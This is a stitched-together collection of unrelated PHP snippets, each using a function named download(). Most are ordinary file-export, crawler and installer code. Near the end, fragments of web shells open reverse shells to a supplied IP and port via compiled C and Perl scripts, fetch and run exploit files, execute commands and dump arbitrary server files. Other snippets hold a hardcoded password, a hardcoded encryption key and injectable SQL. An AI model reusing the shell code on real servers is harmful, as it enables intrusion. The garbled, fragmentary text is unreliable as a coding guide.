function doPush() { $db = new db(); $did = -1; if (isset($_SESSION['email'])) { $did = $db->addDownload($_SESSION['email'], $this->fileName, '推送', '准备推送'); } $info = 'error'; download($this->fileName); try { $info = pushToEmail($this->e, $this->fileName); } catch (Exception $e) { if ($did != -1) { $db->updateDownloadStatus($did, '失败'); } echo 'error'; exit; } if ($info == 'success') { if ($did != -1) { $db->updateDownloadStatus($did, '成功'); } echo 'success'; } else { if ($did != -1) { $db->updateDownloadStatus($did, '失败'); } echo 'error'; } }
function handle() { //$storage = new JingdongStorageService(accesskey, secrectkey); /* $fileName = uniqid().'.mobi'; $filePath = 'tmp/' + $fileName; $fp = fopen($filePath, 'wb+'); if($fp){ $storage->get_object(bookbucket,$this->bid,$fp, false); } else echo 'error'; */ $filePath = './jae/' . $this->bid; if (!file_exists($filePath)) { download($this->bid); } $fp = fopen($filePath, 'r'); Header("Content-type: application/octet-stream"); Header("Accept-Ranges: bytes"); Header("Accept-Length: " . filesize($filePath)); Header("Content-Disposition: attachment; filename=" . $this->bid); echo fread($fp, filesize($filePath)); fclose($fp); if (isset($_SESSION['email'])) { $email = $_SESSION['email']; $db = new db(); $db->addDownload($email, $this->bid, '下载', '成功'); } }
function export_begin($keys, $type, $count) { download($type . '-' . date('YmdHis') . '(' . $count . ').csv'); if ($keys) { $this->export_rows(array($keys)); } }
function downloadFiles() { global $types; foreach ($types as $name) { download($name); } }
function main() { download(); parse(); sanitize(); final_html_generation(); }
function export_begin($keys, $type, $count, $filename = '') { $filename = !empty($filename) ? $filename : $type . '-' . date('YmdHis') . '(' . $count . ')'; download($filename . '.csv'); if ($keys) { $this->export_rows(array($keys)); } }
function export_begin($keys, $type, $count) { download($type . '-' . date('Ymd') . '(' . $count . ').xls'); echo '<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><style>td{vnd.ms-excel.numberformat:@}</style></head>'; echo '<table width="100%" border="1">'; echo '<tr><th filter=all>' . implode('</th><th filter=all>', $keys) . "</th></tr>\r\n"; flush(); }
/** * Crawls through user's page and downloads all avaliable images/videos */ function download($RCX, $username, $max_id = 0) { $id = ''; $lastId = ''; if ($max_id > 0) { $id = $max_id; } $userURL = "https://www.instagram.com/" . $username . "/media/?&max_id=" . $id; $ch = curl_init(); $curl_options = array(CURLOPT_URL => $userURL, CURLOPT_REFERER => "https://www.instagram.com", CURLOPT_USERAGENT => "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729)", CURLOPT_HEADER => 0, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPHEADER => array('Content-type: application/json'), CURLOPT_COOKIEFILE => __DIR__ . "/cookies.txt", CURLOPT_SSL_VERIFYPEER => false); curl_setopt_array($ch, $curl_options); $response = curl_exec($ch); if (empty($response)) { die("API returned nothing\r\n"); } curl_close($ch); $json = json_decode($response, true); if ($json['status'] == "ok" && !empty($json['items'])) { // Loop over json, get the filename, URL and timestamp foreach ($json['items'] as $data) { if ($data['type'] == "video") { $imageURL = $data['videos']['standard_resolution']['url']; $name = explode("/", $imageURL); $name = $name[count($name) - 1]; } else { $urlSplit = explode("/", $data['images']['standard_resolution']['url']); $name = $urlSplit[count($urlSplit) - 1]; // Some images have URLs of different lengths // "/s1080x1080/" ensures the image is the largest possible if (count($urlSplit) == 6) { $imageURL = $urlSplit[0] . "//" . $urlSplit[2] . "/" . $urlSplit[3] . "/" . $urlSplit[4] . "/" . $urlSplit[5]; } elseif (count($urlSplit) == 7) { $imageURL = $urlSplit[0] . "//" . $urlSplit[2] . "/" . $urlSplit[3] . "/s1080x1080/" . $urlSplit[5] . "/" . $urlSplit[6]; } elseif (count($urlSplit) == 8) { $imageURL = $urlSplit[0] . "//" . $urlSplit[2] . "/" . $urlSplit[3] . "/" . $urlSplit[4] . "/s1080x1080/" . $urlSplit[6] . "/" . $urlSplit[7]; } elseif (count($urlSplit) == 9) { $imageURL = $urlSplit[0] . "//" . $urlSplit[2] . "/" . $urlSplit[3] . "/" . $urlSplit[4] . "/s1080x1080/" . $urlSplit[6] . "/" . $urlSplit[7] . "/" . $urlSplit[8]; } else { $imageURL = $data['images']['standard_resolution']['url']; } } // Add image to download queue $RCX->addRequest($imageURL, null, 'save', ['fileName' => $name, 'created_time' => $data['created_time'], 'username' => $username]); // Instagram only shows one page of images at a given time, saves the id of the last image $lastId = $data['id']; } } else { die("Invalid username or private account.\r\n"); } // Recurse if more images are avaliable if ($json['more_available'] == true) { return download($RCX, $username, $lastId); } else { $RCX->setOptions([array(CURLOPT_REFERER => "http://instagram.com", CURLOPT_USERAGENT => "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 3.5.30729)", CURLOPT_HEADER => 0, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10)]); $RCX->execute(); } }
function updateP5JSEDITOR($lib_v, $lib_d) { $r = 'https://raw.githubusercontent.com/processing/p5.js-editor/master/'; download($r . 'package.json', 'package.json'); $v = getPackageVersion('package.json'); unlink('package.json'); $contents = '<?php $version = "' . $lib_v . '"; $date = "' . $lib_d . '"; $p5jseditor_version = "' . $v . '"; ?>'; file_put_contents('version.php', $contents); echo 'updating p5.js editor version to ' . $v; }
function process_login($Html) { $PostHash = extract_form_hash($Html); $PostHash['username'] = '******'; $PostHash['passwd'] = 'grafdevalery'; $Html = copy_be($Html, '<form ', '>'); $Tags = extract_property_values($Html, 'action', "\r\n"); $Html = download($Tags, 'POST', 'http://www.buker.ru/dostaken.php', $PostHash); return $Html; }
/** * 下载文件 */ public function d() { if (isset($GLOBALS['s']) && !empty($GLOBALS['s'])) { $file = decode($GLOBALS['s']); if (strpos($file, 'wZ:') !== false) { $file = str_replace('wZ:', ATTACHMENT_ROOT, $file); //echo $file; download($file); } } }
function licenseDocumentProcess($uid) { // this needs to use REQUEST , so onBeforeDownload plugins can use redirect $accepted = mosGetParam($_REQUEST, 'agree', 0); $inline = mosGetParam($_REQUEST, 'inline', 0); $doc = new DOCMAN_Document($uid); if ($accepted) { download($doc, $inline); } else { _returnTo('view_cat', _DML_YOU_MUST, $doc->getData('catid')); } }
function savePrices() { global $db; mysqli_query($db, "TRUNCATE TABLE `it_prices`"); global $pricesURL; $csv = download($pricesURL); $csv = explode("\n", $csv); for ($i = 2; $i <= count($csv); $i++) { $a = explode(";", $csv[$i]); mysqli_query($db, "INSERT INTO `it_prices`(`id`, `type`, `price`, `self`, `date`) VALUES ( \"{$a['0']}\", \"{$a['1']}\", \"{$a['2']}\", " . ($a[3] == 0 ? "false" : "true") . ", \"{$a['4']}\" )") or die(mysqli_error()); } }
/** * amazon workaround for 1 pixel transparent images */ function checkAmazonSmallImage($url, $ext, $file) { if (preg_match('/^(.+)L(Z{7,}.+)$/', $url, $m)) { if (list($width, $height, $type, $attr) = getimagesize($file)) { if ($width <= 1) { $smallurl = $m[1] . 'M' . $m[2]; if (cache_file_exists($smallurl, $cache_file, CACHE_IMG, $ext) || download($smallurl, $cache_file)) { copy($cache_file, $file); } } } } }
function Get_owncloud() { $unix = new unix(); $pidfile = "/etc/artica-postfix/pids/" . basename(__FILE__) . ".pid"; $pidtime = "/etc/artica-postfix/pids/" . basename(__FILE__) . ".time"; $pid = @file_get_contents($pidfile); $unix = new unix(); if ($unix->process_exists($pid, basename(__FILE__))) { $time = $unix->PROCCESS_TIME_MIN($pid); if ($GLOBALS["VERBOSE"]) { echo "Already executed pid {$pid} since {$time}mn\n"; } die; } $uri = download(); if ($uri == null) { return; } $curl = new ccurl($uri); $curl->NoHTTP_POST = true; $cp = $unix->find_program("cp"); $rm = $unix->find_program("rm"); progress("Downloading Owncloud package...", 25); if (!$curl->GetFile("/root/owncloud.tar.gz")) { progress("Failed download owncloud package", 110); return; } if (is_dir("/usr/share/owncloud")) { shell_exec("{$rm} -rf /usr/share/owncloud"); } @mkdir("/usr/share/owncloud", 0755, true); if (!is_dir("/usr/share/owncloud")) { progress("/usr/share/owncloud permission denied", 110); @unlink("/root/owncloud.tar.gz"); return; } $tar = $unix->find_program("tar"); progress("Extracting package...", 35); shell_exec("{$tar} xf /root/owncloud.tar.gz -C /usr/share/owncloud/"); @unlink("/root/owncloud.tar.gz"); if (is_dir("/usr/share/owncloud/owncloud")) { shell_exec("{$cp} -rf /usr/share/owncloud/owncloud/* /usr/share/owncloud/"); shell_exec("{$rm} -rf /usr/share/owncloud/owncloud"); } if (is_file("/usr/share/owncloud/settings/settings.php")) { progress("Success...", 100); $unix->Process1(true); return; } progress("Failed...", 110); }
/** * 私密文件下载链接生成 * @param $file * @param $output 1 直接显示 * */ function private_file($file, $output = 0) { if (strpos($file, ATTACHMENT_URL) !== false) { $filetype = get_ext($file); if ($output && in_array($filetype, array('jpg', 'jpeg', 'gif', 'bmp', 'png'))) { $file = str_replace(ATTACHMENT_URL, ATTACHMENT_ROOT, $file); download($file, '', 1); exit; } else { $file = str_replace(ATTACHMENT_URL, 'wZ:', $file); } } return WEBURL . 'index.php?f=down&v=d&s=' . urlencode(encode($file)); }
/** * 下载文件 */ public function d() { if (isset($GLOBALS['s']) && !empty($GLOBALS['s'])) { $file = decode($GLOBALS['s']); if (strpos($file, 'wZ:') !== false) { $file = str_replace('wZ:', ATTACHMENT_ROOT, $file); echo $file; download($file); } elseif (preg_match('/^http:|https:|ftp:/', $file)) { //远程地址下载 header("Location:" . $file); } } }
/** * @param $packageName * * @return array|bool */ function installPackage($packageName) { global $modx; /* @var modTransportProvider $provider */ if (!($provider = $modx->getObject('transport.modTransportProvider', array('service_url:LIKE' => '%simpledream%')))) { $provider = $modx->getObject('transport.modTransportProvider', 1); } $provider->getClient(); $modx->getVersionData(); $productVersion = $modx->version['code_name'] . '-' . $modx->version['full_version']; $response = $provider->request('package', 'GET', array('supports' => $productVersion, 'query' => $packageName)); if (!empty($response)) { $foundPackages = simplexml_load_string($response->response); foreach ($foundPackages as $foundPackage) { /* @var modTransportPackage $foundPackage */ if ($foundPackage->name == $packageName) { $sig = explode('-', $foundPackage->signature); $versionSignature = explode('.', $sig[1]); $url = $foundPackage->location; if (!download($url, $modx->getOption('core_path') . 'packages/' . $foundPackage->signature . '.transport.zip')) { return array('success' => 0, 'message' => 'Could not download package <b>' . $packageName . '</b>.'); } /* add in the package as an object so it can be upgraded */ /** @var modTransportPackage $package */ $package = $modx->newObject('transport.modTransportPackage'); $package->set('signature', $foundPackage->signature); $package->fromArray(array('created' => date('Y-m-d h:i:s'), 'updated' => null, 'state' => 1, 'workspace' => 1, 'provider' => $provider->id, 'source' => $foundPackage->signature . '.transport.zip', 'package_name' => $sig[0], 'version_major' => $versionSignature[0], 'version_minor' => !empty($versionSignature[1]) ? $versionSignature[1] : 0, 'version_patch' => !empty($versionSignature[2]) ? $versionSignature[2] : 0)); if (!empty($sig[2])) { $r = preg_split('/([0-9]+)/', $sig[2], -1, PREG_SPLIT_DELIM_CAPTURE); if (is_array($r) && !empty($r)) { $package->set('release', $r[0]); $package->set('release_index', isset($r[1]) ? $r[1] : '0'); } else { $package->set('release', $sig[2]); } } if ($package->save() && $package->install()) { return array('success' => 1, 'message' => '<b>' . $packageName . '</b> was successfully installed'); } else { return array('success' => 0, 'message' => 'Could not save package <b>' . $packageName . '</b>'); } break; } } } else { return array('success' => 0, 'message' => 'Could not find <b>' . $packageName . '</b> in MODX repository'); } return true; }
function decryptData($value, $filename, $name, $downloadTextStartTime) { //vale : encrypted data and filename : to decrypt file //AES 128-bit decryption $key = "Mary has one cat"; $crypttext = $value; $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_ECB); $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND); $decrypttext = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $crypttext, MCRYPT_MODE_ECB, $iv); //writing to file filename.txt.decrypt $myfile = fopen("C:\\xampp\\htdocs\\BEPROJECT\\Html\\Decrypt/" . $name . ".decrypt", "w") or die("Unable to open file!"); fwrite($myfile, $decrypttext); download($name . '.decrypt', $downloadTextStartTime); fclose($myfile); }
function download($schema) { foreach (["https://images-na.ssl-images-amazon.com/images/G/01/rainier/help/xsd/release_4_1/", "https://images-na.ssl-images-amazon.com/images/G/01/rainier/help/xsd/release_1_9/"] as $ns) { $source = @simplexml_load_file($ns . $schema); if ($source) { $source->registerXPathNamespace("xsd", "http://www.w3.org/2001/XMLSchema"); foreach ($source->xpath("//xsd:include") as $include) { download($include->attributes()->schemaLocation); } file_put_contents($schema, $source->asXML()); return true; } } return false; }
function main(array $args = array()) { $defaults = array('install-dir' => getcwd()); $args += $defaults; if (!createFolders($args['install-dir'])) { return 1; } if (!download($args['install-dir'])) { return 1; } if (!install($args['install-dir'])) { return 1; } return 0; }
function publish_html($user, $chart) { $cdn_files = array(); $static_path = get_static_path($chart); $url = 'http://' . $GLOBALS['dw_config']['domain'] . '/chart/' . $chart->getID() . '/preview?minify=1'; $outf = $static_path . '/index.html'; download($url, $outf); download($url . '&plain=1', $static_path . '/plain.html'); download($url . '&fs=1', $static_path . '/fs.html'); $chart->setPublishedAt(time() + 5); $chart->setLastEditStep(5); $chart->save(); $cdn_files[] = array($outf, $chart->getID() . '/index.html', 'text/html'); $cdn_files[] = array($static_path . '/plain.html', $chart->getID() . '/plain.html', 'text/html'); $cdn_files[] = array($static_path . '/fs.html', $chart->getID() . '/fs.html', 'text/html'); return $cdn_files; }
function phpFunctionsOf($subcat) { $url = "http://www.php.net/manual/en/ref." . $subcat . ".php"; $buf_orig = $buf = download($url, dirname(__FILE__) . "/cache"); $buf = cutTo($buf, '<ul class="chunklist '); $buf = strip_tags($buf, '<a>'); preg_match_all('/function\\.([a-z\\.\\-]+)\\.php/s', $buf, $matches); $functions = $matches[1]; if (!count($functions)) { echo "No functions found in php: " . $subcat . "\n"; } else { foreach ($functions as $k => $v) { $functions[$k] = str_replace("-", "_", $v); } $php_functions = array_combine($functions, $functions); } return $php_functions; }
function getFilePointer($file, $url) { if (in_array('--fetch', $_SERVER['argv'])) { download($file, $url); } elseif (!file_exists($file)) { print "Can't open {$file} for reading.\n"; print "If necessary, fetch this file from the internet:\n"; print "{$url}\n"; print "Or re-run this script with --fetch\n"; exit(-1); } $fp = fopen($file, "rt"); if (!$fp) { // Eh? print "Can't open {$file} for reading.\n"; exit(-1); } return $fp; }
public function control($command, $parameter) { switch ($command) { case 'play': $this->loop = true; if ($this->loop) { $this->playingAdd = false; $this->progressTime = $this->progressTime + $parameter; $this->startTime = microtime(true) - $this->progressTime; $this->stop(); $this->play(); } break; case 'pause': if ($this->playingAdd === false) { $this->progressTime = microtime(true) - $this->startTime - Conf::PREROLL; if (strpos(self::$INPUT_ALT[$parameter], '://') === false) { $this->playingAdd = Conf::BASEDIR . "/" . (int) $this->appName % 200 . "/" . self::$INPUT_ALT[$parameter]; } else { $this->playingAdd = self::$INPUT_ALT[$parameter] . "/" . (int) $this->appName % 200; } $this->stop(); } else { $this->playingAdd = false; $this->stop(); // $this->play(0 - Conf::PREROLL); } break; case 'stop': $this->startTime = 0; $this->playingAdd = false; $this->progressTime = 0; $this->loop = false; // $this->stop(); $this->clearEPG(); break; case 'continue': case 'continue1': if ($this->loop) { $this->play(); } break; case 'now': echo $this->nowPlay(); break; case 'live-on': // break; case 'external': echo download($parameter, $this->appName); break; case "unhide": $this->unhide(); break; case "hide": $this->hide(); break; case 'restore_playlist': copy(Conf::SETTINGS . '/' . $this->id . "-playlist-now.json", Conf::SETTINGS . '/' . $this->id . "-playlist.json"); break; case 'dump': $running = isProcessRunning($this->PID); $this->PID = $running == 1 ? $this->PID : 0; // exec("pgrep --full -a '" . "rtmp://localhost/wrapper/" . $this->id . "'", $running); // file_put_contents("test.txt", $running); // $this->PID = $running[0]; // if ($this->PID === 0) {$this->saveState();} echo json_encode($this, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); break; case 'schedule': if ($parameter === "get") { $process_cmd = exec("pgrep -a -f '^php -f sched.php " . $this->appName . " *'"); echo trim(explode("sched.php " . $this->appName, $process_cmd)[1]); } else { $this->schedule = $parameter; $appid = (int) $this->appName; if (!Conf::MULTY_SCHEDULE) { exec("pkill -f '" . Conf::SCHEDSCRIPT . $appid . "' &"); } exec(Conf::SCHEDSCRIPT . $appid . " " . $parameter . " >/dev/null 2>&1 &"); $this->saveState(); } break; default: # code... break; } }
function getXml($id) { $o =& $this->system->loadModel('goods/gtype'); $xml =& $this->system->loadModel('utility/xml'); $xmlpart = $xml->array2xml($o->getTypeObj($id, $name), 'goodstype'); $charset =& $this->system->loadModel('utility/charset'); download($name . '.typ', $xmlpart); }
exe("chmod 777 bcc"); @unlink("bcc.c"); exe("./bcc " . $ip . " " . $port . " &"); $msg = "Now script try connect to " . $ip . " port " . $port . " ..."; } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && $_POST['use'] == 'Perl') { $ip = trim($_POST['ip']); $port = trim($_POST['backport']); tulis("bcp", $back_connect); exe("chmod +x bcp"); $p2 = which("perl"); exe($p2 . " bcp " . $ip . " " . $port . " &"); $msg = "Now script try connect to " . $ip . " port " . $port . " ..."; } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) { $pilihan = trim($_POST['pilihan']); $wurl = trim($_POST['wurl']); $namafile = download($pilihan, $wurl); if (is_file($namafile)) { $msg = exe($wcmd); } else { $msg = "error: file not found {$namafile}"; } } ?> <table class="tabnet"> <tr> <th>Port Binding</th> <th>Connect Back</th> <th>Load and Exploit</th> </tr> <tr>
case 2: frame2(); break; case 3: frame3(); break; default: switch ($action) { case 1: logout(); break; case 2: config_form(); break; case 3: download(); break; case 4: view(); break; case 5: server_info(); break; case 6: execute_cmd(); break; case 7: edit_file_form(); break; case 8: chmod_form();
<?php require_once 'inc/lib.php'; session_start(); if (empty($_SESSION['user']) || !($user = user_info($_SESSION['user']))) { // Not logged in, redirect to login page header('Location: .'); exit('Not Authorized'); } // Force the file to download download($_GET['file'], $user['home'], $_GET['dl']);
<?php ini_set("session.gc_maxlifetime", 1); session_start(); error_reporting(0); safe_mode(); if ($_POST['type'] == 11) { download(stripslashes($_POST['value'])); } function download($dfilename) { $file = fopen($dfilename, "r"); ob_clean(); $filename = basename($dfilename); $filedump = fread($file, @filesize($dfilename)); fclose($file); header("Content-type: " . $mime_type); header("Content-disposition: attachment; filename=\"" . $filename . "\";"); echo $filedump; } function testperl() { if (ex('perl -h')) { return "<font size=2 color=#29a329>ON</font>"; } else { return "<font size=2 color=#ff4500>OFF</font>"; } } function view_size($size) { if ($size >= 1073741824) {